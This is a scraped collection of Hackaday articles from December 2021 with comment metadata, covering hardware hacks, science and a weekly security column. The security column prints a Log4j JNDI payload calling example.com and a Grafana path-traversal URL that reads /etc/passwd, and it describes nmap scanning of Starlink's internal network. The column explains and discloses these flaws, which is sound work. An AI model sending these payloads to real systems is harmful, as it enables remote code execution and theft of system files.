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https://hackaday.com/2021/12/15/heavy-duty-starter-motor-powers-an-awesome-drift-trike/ | Heavy-Duty Starter Motor Powers An Awesome Drift Trike | Lewin Day | [
"Misc Hacks"
] | [
"brushed motor",
"drift trike",
"Electric motor",
"starter motor"
] | Starter motors aren’t typically a great choice for motorized projects, as they’re designed to give engines a big strong kick for a few seconds. Driving them continuously can often quickly overheat them and burn them out. However, [Austin Blake] demonstrates that by choosing parts carefully,
you can indeed have some fun with a starter motor-powered ride.
[Austin] decided to equip his drift trike with a 42MT-equivalent starter motor typically used in heavy construction machinery. The motor was first stripped of its solenoid mechanism, which is used to disengage the starter from an engine after it has started. The housing was then machined down to make the motor smaller, and a mount designed to hold the starter on the drift trike’s frame.
A 36V battery pack was whipped up using some cells [Austin] had lying around, and fitted with a BMS for safe charging. The 12V starter can draw up to 1650 amps when cranking an engine, though the battery pack can only safely deliver 120 amps continuously. A Kelly controller for brushed DC motors was used, set up with a current limit to protect the battery from excessive current draw.
The hefty motor weighs around 50 pounds, and is by no way the lightest or most efficient drive solution out there. However, [Austin] reports that it has held up just fine in 20 minutes of near-continuous testing, despite being overvolted well beyond its design specification. The fact it’s operating at a tenth of its rated current may also have something to do with its longevity. It also bears noting that many YouTube EVs die shortly after they’re posted. Your mileage may vary.
For a more modern solution, you might consider
converting an alternator into a brushless electric motor.
Video after the break. | 11 | 4 | [
{
"comment_id": "6407242",
"author": "Johnny",
"timestamp": "2021-12-15T22:29:43",
"content": "I think you are confusing solenoid with the Bendix in the article text.",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6407250",
"author": "smellsofbikes",... | 1,760,372,852.478306 | ||
https://hackaday.com/2021/12/15/diy-glasses-aim-to-improve-color-vision/ | DIY Glasses Aim To Improve Color Vision | Lewin Day | [
"Medical Hacks"
] | [
"color perception",
"eyes"
] | Typically, to improve one’s eyesight, we look to tools like corrective lenses or laser eye surgery to improve optical performance. However, [Casey Connor 2] came across another method, that uses light exposure to improve color vision,
and set about trying to achieve the same results at home.
A recent study published in
Nature
showed that a single exposure to 670 nm light for 3 minutes lead to an improvement in color perception lasting up to a week. The causative method is that cones in the eye get worse at producing ATP as we age, and with less of this crucial molecule supplying energy to cells in the eye, our colour perception declines. Exposure to 670 nm light seems to cause mitochondria in the eye to produce more ATP in a rather complicated physical interaction.
For [Casey’s] build, LEDs were used to produce the required 670 nm red light, installed into ping pong balls that were glued onto a pair of sunglasses. After calculating the right exposure level and blasting light into the eyes regularly each morning, [Casey] plans on running a chromaticity test in the evenings with
a custom Python script
to measure color perception.
[Casey] shows a proper understanding of the scientific process, and has accounted for the cheap monitor and equipment used in the testing. The expectation is that it should be possible to show a relative positive or negative drift, even if the results may not be directly comparable to industry-grade measures.
We’re eager to see the results of [Casey]’s testing, and might even be tempted to replicate the experiment if it proves successful. We’ve explored some ocular topics in the past too,
like the technology that goes into eyeglasses.
Video after the break. | 27 | 12 | [
{
"comment_id": "6407212",
"author": "sjm4306",
"timestamp": "2021-12-15T20:00:49",
"content": "Caption: “I’m antsinmyeyes johnson …”",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6407217",
"author": "scott.tx",
"timestamp": "2021-12-15T20:23:05",
... | 1,760,372,852.250889 | ||
https://hackaday.com/2021/12/15/the-real-science-not-armchair-science-of-consciousness/ | The Real Science (Not Armchair Science) Of Consciousness | Steven Dufresne | [
"Featured",
"Interest",
"Original Art",
"Science",
"Slider"
] | [
"brain",
"brain waves",
"Consciousness",
"eeg",
"electroencephalogram",
"fMRI",
"mri"
] | Among brain researchers there’s a truism that says the reason people underestimate how much unconscious processing goes on in your brain is because you’re not conscious of it. And while there is a lot of unconscious processing, the truism also points out a duality: your brain does both processing that leads to consciousness and processing that does not. As you’ll see below, this duality has opened up a scientific approach to studying consciousness.
Are Subjective Results Scientific?
Checking fMRI images.
In science we’re used to empirical test results, measurements made in a way that are verifiable, a reading from a calibrated meter where that reading can be made again and again by different people. But what if all you have to go on is what a person says they are experiencing, a subjective observation? That doesn’t sound very scientific.
That lack of non-subjective evidence is a big part of what stalled scientific research into consciousness for many years. But consciousness is unique. While we have measuring tools for observing brain activity, how do you know whether that activity is contributing to a conscious experience or is unconscious? The only way is to ask the person whose brain you’re measuring. Are they conscious of an image being presented to them? If not, then it’s being processed unconsciously. You have to ask them, and their response is, naturally, subjective.
Skepticism about subjective results along with a lack of tools, held back scientific research into consciousness for many years. It was taboo to even use the C-word until the 1980s when researchers decided that subjective results were okay. Since then, here’s been a great deal of scientific research into consciousness and this then is a sampling of that research. And as you’ll see, it’s even saved a life or two.
Measuring Tools
The number of methods and tools for examining the human brain has grown over the years. The first was to learn from neuropsychology patients who suffered brain damage, correlating which areas were physically damaged with the resulting effects. Then there are the type of experiments often associated with psychologists where subjects perform tasks and their behavior is monitored to test some hypothesis.
Another early method was the insertion of electrodes into the brain, usually while patients are undergoing surgery. The advantage of electrodes is they can be used to both monitor neuronal activity and to stimulate it.
EEG example. Credit: Der Lange
CC BY-SA 2.0
Electroencephalography (EEG) involves the placement of electrodes on the scalp to measure voltage fluctuations resulting from ionic current in the brain’s neurons. It’s an old method that has advanced greatly, sometimes with the placement of as many as 256 electrodes. Magnetoencephalography (MEG) is similar to EEG except that it measures magnetic fields using squibs placed on the scalp. EEG and MEG are both particularly useful for following the timing of events since they measure neuronal activity as it’s happening. You’ve probably heard of EEG in the context of observing brain waves.
Positron Emission Tomography (PET) and Magnetic Resonance Imaging (MRI) have also been widely used for a while. Functional MRI (fMRI), invented in 1990, gives a 3D image of brain activity by detecting small changes in the blood flow that follow the onset of that brain activity. But while fMRI gives a good full brain view of
where
activity happened it lags neural activity by around 1 or 2 seconds and so it doesn’t offer the precise timing you get with EEG or MEG.
Along with electrodes in the area of brain stimulation are Transcranial Magnetic Stimulation (TMS) and optogenetics. TMS uses electromagnetic induction to cause a current across neuron cell membranes which can cause them to fire. Optogenetics causes neurons to fire by stimulating them with light, usually from a laser.
Masking and Subliminal Priming
Back to consciousness. Imagine being able design an experiment where you can control what’s processed unconsciously and what’s processed consciously so that you can then use instruments to determine which neural pathways are used in the two cases. Masking is a tool that allows that level of control. An example of masking is to show an image for 33 milliseconds, but before and after showing it, show another image called a mask. You’ll be conscious of the mask image but not the middle one that was shown for only 33 milliseconds. That length of time is ideal, and the longer it is shown for, the greater the likelihood you’ll be conscious of it.
Masking and priming experiment.
One example of such an experiment
shows a 71 ms mask, then a numerical digit or the word for a number for 43 ms, then another 71 ms mask and then a second digit, this time for 200 ms. You won’t have processed the first number consciously but you’ll be asked to indicate if the second digit was less than or greater than 5 by raising either your left or right hand respectively. If the value of the first digit was close to the value of the second digit then you’ll be able to move your hand sooner.
Why? Because even though you weren’t conscious of the first digit, unconscious pathways in your brain involving the motor cortex will have been activated due to the the first digit. And even though you don’t know it, the processing going on has been observed using EEG and fMRI. This experiment is also called priming or subliminal priming, where the first digit primes the activity for the second one.
Attentional Blink
Another technique for creating conscious and unconscious processing in an experiment is to take advantage of the fact that there’s a limit on the number of things that can be attended to at the same time, you saturate consciousness. One way to demonstrate this is to show a sequence of numbers and in the middle, show two letters. You are told to watch for the letters. The first letter is easily remembered. However, if the second letter comes too soon after the first then you will not be aware of it at all. This is called attentional blink. Along with some tweaking, it allows you to study what happens in the brain when the letter is consciously perceived versus when it’s not.
These priming, masking, and attentional blink techniques have been so finely tuned that all sorts of experiments can be planned ahead of time where researchers can produce unconscious and conscious activity at will and then observe the resulting brain activity.
Observing Conscious Activity
EEG of conscious and unconscious brain activity.
An experiment that involved observing conscious activity
involving attentional blinkand eventually contributed to the ability to detect consciousness in coma patients. The experiment used EEG so that events could be observed as they were happening. A sequence of images of letters and words were shown to the subjects. They were asked to detect words in the sequence but were also shown images that had letters which they were to report on. The letters acted as a distraction, making them miss the word. This was the attentional blink. The experimenters tuned the parameters so that they could control when the subjects would consciously see the word and when they would be unconscious of it, it would be unseen.
The diagram shows the EEG results comparing brain activity when the word was seen versus when it was unseen. The activity at around 96 ms and 180 ms was pretty much the same for both. This is unconscious activity where early processing of the images was going on. But then around 276 ms, there began a big difference in activity between when the word was seen versus when the word was unseen. This continued right up to around 576 ms. This difference is the conscious processing.
This timing and activity is found to be common for conscious activity involving vision. Practically identical processing happens for around the first 300 ms in experiments where subjects report being unconscious or conscious of what’s being tested. However, for the experiments where subjects report being conscious of what’s being tested, starting around 300 ms there’s an avalanche of activity.
In Stanislas Dehaene’s book,
Consciousness and the Brain: Deciphering how the brain codes our thoughts
, he describes four signatures of conscious thought, i.e., the activity that is observed during this avalanche:
a sudden ignition of activity in the upper back area of the brain where sensory processing happens (the parietal region) and the front part of the brain’s frontal lobe (the prefrontal cortex) which is implicated in decision making, short-term memory, planning and other high level activity,
a P3 wave observed using EEG that sweeps over the parietal region and the prefrontal cortex,
a late and sudden burst of high-frequency oscillations, and
a massive synchronization of electromagnetic signals across the entire cortex — the wrinkled outer layer of the brain.
These then are signatures of consciousness and examining what’s going on in the brain during this time may someday lead to understanding exactly how consciousness works. In the meantime, this research has lead to a consciousness detector.
Detecting Consciousness In Coma Patients
In his book, Dahaene describes how he and his colleagues made use of this research to detect consciousness or the lack thereof in coma patients. To make it cheap, they used EEG, available to many intensive care units. They tested for the P3 wave, the 2nd signature of consciousness.
They play four identical sounds followed by a fifth deviant one: beep, beep, beep, beep, boop. The deviant one triggers a P3 wave. Unfortunately the auditory cortex also produces an unconscious mismatch response, called MMN, which also results in a P3 wave. To make up for this, they play the repeating four beeps and the deviant boop for a while and then suddenly play five beeps without the deviant. Without the deviant, the unconscious mismatch response doesn’t activate but conscious processing notices that there was no deviant and the P3 wave still occurs. A patient who wasn’t conscious would not produce the P3 wave.
Their test identified different patients as unconscious or conscious and the ones that showed consciousness regained partial or full consciousness within days. Subsequent use of the test even saved a life. Doctors had a patient whom they were ready to give up on when this detection technique convinced them to wait a while longer. They did so and the patient eventually recovered fully.
So the next time someone tells you that we don’t know what consciousness is and that it’s some mystical, unknowable thing, tell them that there is actual scientific research into consciousness that has already produced beneficial results, even if the field is still in its infancy. | 43 | 15 | [
{
"comment_id": "6407183",
"author": "vib",
"timestamp": "2021-12-15T18:36:37",
"content": "Nice topic. And yes definitely there is serious research happening in this field.From the multiple theories of consciousness, my preferred one is the Orch OR theory:https://en.wikipedia.org/wiki/Orchestrated_... | 1,760,372,852.629996 | ||
https://hackaday.com/2021/12/15/a-nixie-clock-the-hard-way/ | A Nixie Clock, The Hard Way | Dan Maloney | [
"clock hacks",
"Parts"
] | [
"clock",
"counter",
"electronic counter",
"hewlett packard",
"HP",
"nixie",
"retro",
"signal generator",
"vintage"
] | Notice: no vintage Hewlett Packard test equipment was harmed in the making of
this overly complicated Nixie clock
. In fact, if anything, the HP 5245L electronic counter came out better off than it went into the project.
Beautiful hand-wired backplane in the HP 5245 counter.
We mention the fate of this instrument mainly because we’ve seen our fair share of cool-looking-old-thing-gutted-and-filled-with-Arduinos projects before, and while they can be interesting, there’s something deeply disturbing about losing another bit of our shared electronic heritage. To gut this device, which hails from the early 1960s and features some of the most beautiful point-to-point backplane wiring we’ve ever seen, would have been a tragedy, one that [Shahriar] wisely avoided.
After a bit of recapping and some power supply troubleshooting, the video below treats us to a tour of the Nixie-based beauty. It’s a wonderful piece, and still quite accurate after all these decades, although it did need a bit of calibration. Turning it into a clock non-destructively required adding a little bit of gear, though. Internally, [Shahriar] added a divide-by-ten card to allow the counter to use an external 10-MHz reference. Externally, an ERASynth++ programmable signal generator was used to send a signal to the counter from 0 Hz to 23,595.9 kHz, ramping up by 100 Hz every second.
The end result is the world’s most complicated 24-hour clock, which honestly wasn’t even the point of the build at all. It was to show off the glorious insides of the counter, introduce us to some cool new RF tools, and as always with [Shahriar]’s videos, to educate and inform. We’ve always enjoyed his wizardry, from
his look into automotive radars
to
a million-dollar scope teardown
, and this was another great project. | 16 | 12 | [
{
"comment_id": "6407139",
"author": "Canuckfire",
"timestamp": "2021-12-15T16:50:48",
"content": "I love the look and design of the old HP test equipment.I have an HP 5326 DVM/Counter that I toyed with to make a clock like this (desperately need to change the fan to fix the bearing whine).I complet... | 1,760,372,852.434446 | ||
https://hackaday.com/2021/12/17/gluggle-jug-is-neat-application-of-hydrodynamics/ | Gluggle Jug Is Neat Application Of Hydrodynamics | Lewin Day | [
"Misc Hacks"
] | [
"glug",
"gluggle jug",
"hydrodynamics",
"water"
] | The Gluggle Jug is an aptly-named thing – it’s a jug that makes loud, satisfying glugging noises when poured. But how does it work?
[Steve Mould] set out to investigate.
[Steve]’s first plan was to cut apart an existing Gluggle Jug to see how it worked, but cutting ceramics can be difficult and time-consuming, and the asymmetric design only made things harder. Instead, he simply smashed a jug to see what it looked like inside, and replicated the basic design in a transparent laser-cut version.
The design is simple – the glug sounds are from bubbles passing into a closed cavity within the jug as the water is poured out. Stop pouring, and air from that cavity then escapes back through the open mouth of the jug via more bubbles, making an even louder glugging sound. The frequency of the sound is determined by the height of the jug, which is essentially acting as a closed-pipe resonator.
With an understanding of the mechanisms at play, producing your own Gluggle jug is as simple as whipping up a design in your CAD software of choice and printing it
in a food-safe way.
Video after the break. | 8 | 8 | [
{
"comment_id": "6407722",
"author": "The Commenter Formerly Known As Ren",
"timestamp": "2021-12-17T16:18:09",
"content": "Neat video!",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6407742",
"author": "Kees",
"timestamp": "2021-12-17T17:36:04",
"... | 1,760,372,852.28923 | ||
https://hackaday.com/2021/12/17/this-week-in-security-log4j-pdf-cpu-and-i-hack-starlink/ | This Week In Security: Log4j, PDF CPU, And I Hacked Starlink | Jonathan Bennett | [
"Hackaday Columns",
"News",
"Security Hacks",
"Slider"
] | [
"Log4j",
"NSO Group",
"Starlink",
"This Week in Security"
] | The big news this week is Log4j, breaking just a few hours too late to be included in last week’s column. Folks are already asking if this is the most severe vulnerability ever, and it does look like it’s at least in the running. The bug was first discovered by security professionals at Alibaba, who notified Apache of the flaw on November 24th.
Cloudflare has pulled their data
, and found evidence of the vulnerability in the wild as early as December 1st. These early examples are very sparse and extremely targeted, enough to make me wonder if this wasn’t researchers who were part of the initial disclosure doing further research on the problem. Regardless, on December 9th, a Twitter user tweeted the details of the vulnerability, and security hell broke loose. Nine minutes after the tweet, Cloudflare saw attempted exploit again, and within eight hours, they were dealing with
20,000 exploit attempts per minute.
That’s the timeline, but what’s going on with the exploit, and why is it so bad? First, the vulnerable package is
Log4j
, a logging library for Java. It allows processes to get log messages where they need to go, but with a bunch of bells and whistles included. One of those features is support for
JNDI, a known security problem in Java
. A JNDI request can lead to a deserialization attack, where an incoming data stream is maliciously malformed, misbehaving when it is expanded back into an object. It wasn’t intended for those JNDI lookups to be performed across the Internet, but there wasn’t an explicit check for this behavior, so here we are.
The conclusion is that if you can trigger a log write through
log4j
that includes
${jndi:ldap://example.com/a}
, you can run arbitrary code on that machine. Researchers and criminals have already come up with creative ways to manage that, like including the string in a browser-agent, or a first name. Yes, it’s the return of
little Bobby Tables
.
Log4j
2.16.0. 2.15.0 contained a partial fix, but didn’t fully eliminate the problem. An up-to-date Java has also changed a default setting, providing partial mitigation. But we probably haven’t seen the end of this one yet.
NSO and the CPU Emulated in a PDF
Had it been anyone other than
Google’s Project Zero telling this story
, I would have blown it off as a bad Hollywood plot device. This vulnerability is in the iOS iMessage app, and how it handles
.gif
files that actually contain PDF data. PDFs are flexible, to put it mildly. One of the possible encoding formats is
JBIG2
, a black and white compression codec from 2000. Part of the codec is the ability to use boolean operators AND, OR, XOR, and XNOR to represent minor differences between compressed blocks. An integer overflow in the decompression code allows much more memory to be considered valid output for decompression, which means the decompression code can run those BOOLEAN operators on that extra memory.
Now what do you get when you have plenty of memory and those four operators? A Turing complete CPU, of course. Yes, researchers at the NSO Group really built a virtual CPU in a PDF decoding routine, and use that platform to bootstrap their sandbox escape. It’s insane, unbelievable, and brilliant. [Ed Note: Too bad
the NSO Group is essentially evil
.]
Grafana Path Traversal
The Grafana visualization platform just recently fixed a serious problem,
CVE-2021-43798
. This vulnerability allows for path traversal via the plugin folders. So for instance,
/public/plugins/alertlist/../../../../../../../../etc/passwd
would return the
passwd
file from a Linux server. The updates fixing this issue were released on December 7th. This bug was actually a 0-day for a few days, as it was being discussed on the 3rd publicly, but unknown to the Grafana devs. Check out
their postmortem for the details
.
Starlink
And finally, I have some original research to cover. You may be familiar with
my work covering the Starlink satellite internet system
. Part of the impetus for buying and keeping Starlink was to do security research on the platform, and that goal has finally born some fruit —
to the tune of a $4,800 bounty
. Here’s the story.
I have a nearby friend who also uses Starlink, and on December 7th, we found that we had both been assigned a publicly routable IPv4 address. How does Starlink’s routing work between subscribers? Would traffic sent from my network to his be routed directly on the satellite, or would each packet have to bounce off the satellite, through SpaceX’s ground station, back to the bird, and then finally back to me? Traceroute is a wonderful tool, and it answered the question:
traceroute to 98.97.92.x (98.97.92.x), 30 hops max, 46 byte packets
1 customer.dllstxx1.pop.starlinkisp.net (98.97.80.1) 25.830 ms 24.020 ms 23.082 ms
2 172.16.248.6 (172.16.248.6) 27.783 ms 23.973 ms 27.363 ms
3 172.16.248.21 (172.16.248.21) 23.728 ms 26.880 ms 28.299 ms
4 undefined.hostname.localhost (98.97.92.x) 59.220 ms 51.474 ms 51.877 ms
We didn’t know exactly what each hop was, but the number of hops and the latency to each makes it fairly clear that our traffic was going through a ground station. But there’s something odd about this traceroute. Did you spot it? 172.16.x.y is a private network, as per RFC1918. The fact that it shows up in a traceroute means that my OpenWRT router and Starlink equipment are successfully routing from my desktop to that address. Now I’ve found this sort of thing before, on a different ISP’s network. Knowing that this could be interesting, I launched
nmap
and scanned the private IPs that showed up in the traceroute. Bingo.
172.16.248.6 was appropriately locked down, but 172.16.248.21 showed open ports. Namely, ports 179, 9100, 9101, and 50051. Nmap thought 179 was BGP, which sounded about right. But the rest of them?
Telnet
. I was fairly confident that none of these were actually telnet services, but it’s a great start when trying to identify an unknown service. This was no exception.
Ports 9100 and 9101 told me I had made a bad request, throwing error 400s. Ah, they were HTTP services! Pulling both up in a web browser gave me a debug output that appeared to be from a Python Flask server.
That last port, 50051, was interesting. The only service I could find that was normally run there was Google’s gRPC, a Remote Procedure Call protocol.
Grpc_cli
came in handy to confirm that was what I had found. Unfortunately reflection was disabled, meaning that the service refused to enumerate the commands that it supported. Mapping any commands would require throwing a bunch of data at that port.
At this point, I began to wonder exactly what piece of hardware I was talking to. It did BGP, it was internal to Starlink’s network, and my traffic was routing through it. Could this be a satellite? Probably not, but the Starlink bug bounty is pretty clear about what should come next. Under no circumstances should a researcher do live testing on a satellite or other critical infrastructure. I suspected I was talking to part of their routing infrastructure, probably at the ground station in Dallas. Either way, poking too hard and breaking something was frowned upon, so I wrote up the disclosure on what I had found.
Starlink engineers had the ports closed within twelve hours of the report, and asked me to double-check their triage. Sure enough, while I could still ping the private IPs, no ports were open. Here is where I must credit the guys that run SpaceX’s Starlink bug bounty. They could have called this a simple information disclosure, paid a few hundred dollars, and called it a day. Instead, they took the time to investigate and confirmed that I had indeed discovered an open gRPC port, and then dropped the bombshell that it was an unauthenticated endpoint. The finding netted a $3,800 initial award, plus a bonus $1,000 for a comprehensive report and not crashing their live systems. As my local friend half-jokingly put it, that’s a lot of money for running
nmap
.
Yes, there was a bit of luck involved, combined with a whole lot of prior experience with network quirks. The main takeaway should be that security research doesn’t always have to be the super complicated vulnerability and exploit development. You don’t have to build a turing-complete system in a PDF. Sometimes it’s just IP and port scanning, combined with persistence and a bit of luck. In fact, if your ISP has a bug bounty program, you might try plugging a Linux machine directly into the modem, and scanning the private IP range. Keep your eyes open. You too just might find something interesting. | 35 | 15 | [
{
"comment_id": "6407708",
"author": "some guy",
"timestamp": "2021-12-17T15:42:19",
"content": "4800$ is a nice christmas present… Do you have to pay taxes for this so the final gained money will be less?",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "64077... | 1,760,372,852.187808 | ||
https://hackaday.com/2021/12/17/simple-mods-turn-3d-printer-into-electrochemical-metal-cutter/ | Simple Mods Turn 3D Printer Into Electrochemical Metal Cutter | Dan Maloney | [
"3d Printer hacks",
"Tool Hacks"
] | [
"cnc",
"ecm",
"EDM",
"electric discharge machining",
"electrochemical machining",
"electrolyte",
"etching",
"g-code",
"machining",
"subtractive",
"wire ECM"
] | We’re not aware of any authoritative metrics on such things, but it’s safe to say that the Ender 3 is among the most hackable commercial 3D printers. There’s just something about the machine that lends itself to hacks, most of which are obviously aimed at making it better at 3D printing. Some, though, are aimed in a totally different direction.
As proof of that, check out
this Ender 3 modified for electrochemical machining
. ECM is a machining process that uses electrolysis to remove metal from a workpiece. It’s somewhat related to electric discharge machining, but isn’t anywhere near as energetic. [Cooper Zurad] has been exploring ECM with his Ender, which he lightly modified by replacing the extruder with a hypodermic needle electrode. The electrode is connected to a small pump that circulates electrolyte from a bath on the build platform, while a power supply connects to the needle and the workpiece. As the tool traces over the workpiece, material is electrolytically removed.
The video below is a refinement of the basic ECM process, which [Cooper] dubs “wire ECM.” The tool is modified so that electrolyte flows down the outside of the needle, which allows it to enter the workpiece from the edge. Initial results are encouraging; the machine was able to cut through 6 mm thick stainless steel neatly and quickly. There does appear to be a bit of “flare” to the cut near the bottom of thicker stock, which we’d imagine might be mitigated with a faster electrolyte flow rate.
If you want to build your own Ender ECM, [Cooper] has graciously made the plans
available for download
, which is great since we’d love to see wire ECM take off.
We’ve covered ECM before
, but more for simpler etching jobs. Being able to silently and cleanly cut steel on the desktop would be a game-changer. | 30 | 12 | [
{
"comment_id": "6407665",
"author": "Krzysztof",
"timestamp": "2021-12-17T12:19:42",
"content": "For EDM version:https://hackaday.io/project/181551-silent-cnc-machine-edm-drill(it’s work in progress).",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6407974",... | 1,760,372,852.544543 | ||
https://hackaday.com/2021/12/17/diy-mechanical-flux-dispenser-syringe-has-fine-control/ | DIY Mechanical Flux Dispenser Syringe Has Fine Control | Donald Papp | [
"Tool Hacks"
] | [
"3d printed",
"dispenser",
"flux",
"mechanical",
"soldering",
"syringe"
] | [Perinski]’s design for
a mechanical flux dispenser
uses some common hardware and a few 3D printed parts to create a syringe with fine control over just how much of the thick stuff gets deposited. The design is slick, and there’s a full parts list to accompany the printed pieces. [Perinski] even has some useful tips on how to most effectively get flux into 5 mL syringes without making a mess, which is a welcome bit of advice.
There is also a separate
companion design for a magnetic syringe cap
. Not only does it have an O-ring to keep things sealed and clean, but the tip of the cap has a magnet embedded into it, so that it can be stowed somewhere safe while the dispenser is in use, and doesn’t clutter the workspace.
This is all a very interesting departure from the design of most syringe dispensers for goopy materials, which tend to depend on some kind of pneumatic action. Even so, we’ve also seen that
it’s possible to have a compact DIY pneumatic dispenser that doesn’t require a bulky compressor
.
If you can’t quite figure out how the ergonomics of [Perinski]’s design are intended to work one-handed, you’re not alone. One holds the syringe in their hand, and turns the large dial in small increments with a thumb to control extrusion. [Perinski] demonstrates it close-up
around the 4:50 mark
, but if you have a few minutes it is worth watching the entire video, embedded below. | 16 | 8 | [
{
"comment_id": "6407644",
"author": "Andy Pugh",
"timestamp": "2021-12-17T10:36:21",
"content": "I found an all-printed version of a similar design on Thingiverse some years ago.Probably this one:https://www.thingiverse.com/thing:2755949But there are a few remixes of it now, and some other designs.... | 1,760,372,852.728479 | ||
https://hackaday.com/2021/12/16/add-smarts-to-your-old-capsule-coffee-maker/ | Add Smarts To Your Old Capsule Coffee Maker | Chris Wilkinson | [
"classic hacks",
"home hacks"
] | [
"coffee",
"coffee machine",
"home automation",
"IoT"
] | Everyone has their preferred method of making (and consuming) coffee. While modern coffee makers are starting to come standard with IoT and ‘smart’ capabilities, owners of older models should fear not, as [Andreas Skoglund] shows how just about any old machine can be
upgraded with the latest automation wizardry
.
The most involved part of this conversion is removing the electronic guts of the Dolce Gusto donor machine, leaving just the original heater, pump and the control levers. With safety in mind, the user must make the machine ‘hot’ by configuring the levers and replacing the coffee capsule manually, otherwise no automated coffee magic can take place.
A low-tech relay powers on the coffee maker, with the entire logic supported by an off-the-shelf microcontroller. If you’re using a Particle.io controller, the
provided instructions
offer some helpful tips on automatically brewing your first beverage. From there it’s trivial to start using Home Assistant to set up various rules and schedules for your coffee drinking pleasure. You can even select whether you want a small or large cup.
There’s a few improvements that our coffee-starved hero suggests implementing, such as upgrading the power supply, as well as investing in refillable capsules to spite a certain global conglomerate corporation (plus it’s cheaper and much better for the environment). We’re not short on coffee-inspired hacks, so why not also check out this
AI Powered Coffee Maker
. | 12 | 7 | [
{
"comment_id": "6407595",
"author": "Winstone Carlin",
"timestamp": "2021-12-17T06:40:50",
"content": "It’s good to see that Stevie Wonder is still in the connector crimping business",
"parent_id": null,
"depth": 1,
"replies": [
{
"comment_id": "6407655",
"author":... | 1,760,372,852.674725 | ||
https://hackaday.com/2021/12/16/gone-google-toolbar-2000-2021/ | Gone: Google Toolbar (2000-2021) | Roger Cheng | [
"internet hacks"
] | [
"google",
"Google Chrome",
"internet explorer",
"time capsule",
"toolbar"
] | For both better and worse, the internet landscape moves fast. Shortening attention spans and memories all over the world. But every once in a while, we get a reminder of what once was. [Ron Amadeo] of
Ars Technica
fired up a Google product of year 2000 in
Take one last look at Google Toolbar, which is now dead
.
Today it’s hard to find an operating system that does
not
bundle a web browser. But back then, Microsoft’s Internet Explorer was so dominant, the browser’s inclusion in Windows led to an antitrust lawsuit. Trying to get out from under IE’s shadow, many internet companies grabbed a toehold on users’ computers by installing a toolbar. (The comments thread on that Ars Technica article includes some horrific screenshots of mass toolbar infestation.)
Take the best of Google everywhere on the web!
Google was just one company among many fighting for finite real estate, using Toolbar to circumvent Microsoft and redirect people to Google properties. In their efforts to entice users to install, Google promised capabilities that are now hilariously out of date, like integration with a wide swath of also-dead Google products. On the flip side there were some features that were nice while it lasted, like a single toggle to turn off all telemetry sent back to Google. Yeah, wouldn’t that be nice today?
Google now has its own Chrome browser, enjoying the kind of dominance Internet Explorer once had. With Microsoft itself leaving IE behind, there’s no longer any reason for Google Toolbar to exist. So, Google pulled the plug just before it turned 21 years old. Farewell Google Toolbar, we’ll remember you for… five minutes, tops. | 10 | 6 | [
{
"comment_id": "6407613",
"author": "rtlyinwl",
"timestamp": "2021-12-17T08:50:12",
"content": "Chromium is a google-free browser using the same engine.",
"parent_id": null,
"depth": 1,
"replies": []
},
{
"comment_id": "6407615",
"author": "Dan",
"timestamp": "2021-12-17... | 1,760,372,852.102634 | ||
https://hackaday.com/2021/12/16/weather-station-dumps-cr2032-cells-gains-18650/ | Weather Station Dumps CR2032 Cells, Gains 18650 | Tom Nardi | [
"green hacks",
"home hacks"
] | [
"18650",
"cr2032",
"rechargable",
"TP4056",
"weather station"
] | Despite the fact that we’re rapidly approaching the year 2022, there are still an incredible number of gadgets out there that you’re expected to power with disposable batteries. Sure you can buy rechargeable stand-ins that come in the various shapes and sizes of the traditional alkaline cells, but that’s a stopgap at best. For some, if a new gadget doesn’t feature an internal Li-ion battery and standardized USB charging, it’s a non-starter.
[Danilo Larizza] is one of those people. Bothered by the fact that his Oregon Scientific weather station required a pair of CR2032 coin cells, he set out to
replace them with an integrated rechargeable solution
. The conversion ending up being easier to implement than he initially expected, and by his calculations, his solution should keep the unit up and running for nearly 40 days before needing to be topped off with a standard USB charger.
Wiring in the new battery.
The first step was determining how much power it actually took to run the weather station. Although the two CR2032 cells were wired in series, and therefore providing a nominal 6 V, he determined through experimentation with a bench power supply that it would run on as little as 3.2 volts. This coincides nicely with the voltage range for a single 18650 cell, and meant he didn’t need to add a boost converter into the mix. He notes the weather station does flash a “Low Battery” warning most of the time now, but that seems a fair price to pay.
Confident in the knowledge that the weather station could happily run with an 18650 cell connected in place of the original CR2032s, all [Danilo] needed to do was figure out a way to charge the battery up from time to time. To that end, he reached for a common TP4056 module. This handy little board is a great match for 18650 cells, and is so cheap that there’s really no excuse not to have a few of them kicking around your parts bin. You never know when you
might need to teach an old gadget new tricks
. | 34 | 10 | [
{
"comment_id": "6407527",
"author": "Alex99a",
"timestamp": "2021-12-17T00:44:47",
"content": "I don’t understand the “his solution should keep the unit up and running for nearly 40 days” thing. Two CR2032 cells hold about 470mAh while a 18650 is north of 2300mAh. Was he replacing the CR2032 cells ... | 1,760,372,852.814212 | ||
https://hackaday.com/2021/12/15/the-seductive-pull-of-an-obsolete-home-movie-format/ | The Seductive Pull Of An Obsolete Home Movie Format | Jenny List | [
"Hackaday Columns",
"home entertainment hacks",
"Raspberry Pi",
"Slider",
"Video Hacks"
] | [
"8mm",
"camera",
"movie camera"
] | It’s dangerous for a hardware hacker to go into a second-hand store. I was looking for a bed frame for my new apartment, but of course I spent an age browsing all the other
rubbish
treasures on offer. I have a rough rule of thumb: if it’s not under a tenner and fits in one hand, then it has to be exceptional for me to buy it, so I passed up on a nice Grundig reel-to-reel from the 1960s and instead came away with a folding Palm Pilot keyboard and a Fuji 8mm home movie camera after I’d arranged delivery for the bed. On those two I’d spent little more than a fiver, so I’m good. The keyboard is a serial device that’s a project for a rainy day, but the camera is something else. I’ve been keeping an eye out for one to use for a Raspberry Pi camera conversion, and this one seemed ideal. But once I examined it more closely, I was drawn into an unexpected train of research that shed some light on what must of been real objects of desire for my parents generation.
A Thrift Store Find Opens A Whole New Field
One of the surprises comes in just how small this thing is.
The Fuji P300 from 1972 is typical among consumer movie cameras of the day. It takes the form of a film magazine with a zoom lens assembly on its front, a reflex viewfinder on its side, and a handle with a shutter trigger button on it protruding vertically below the magazine and also housing the batteries.
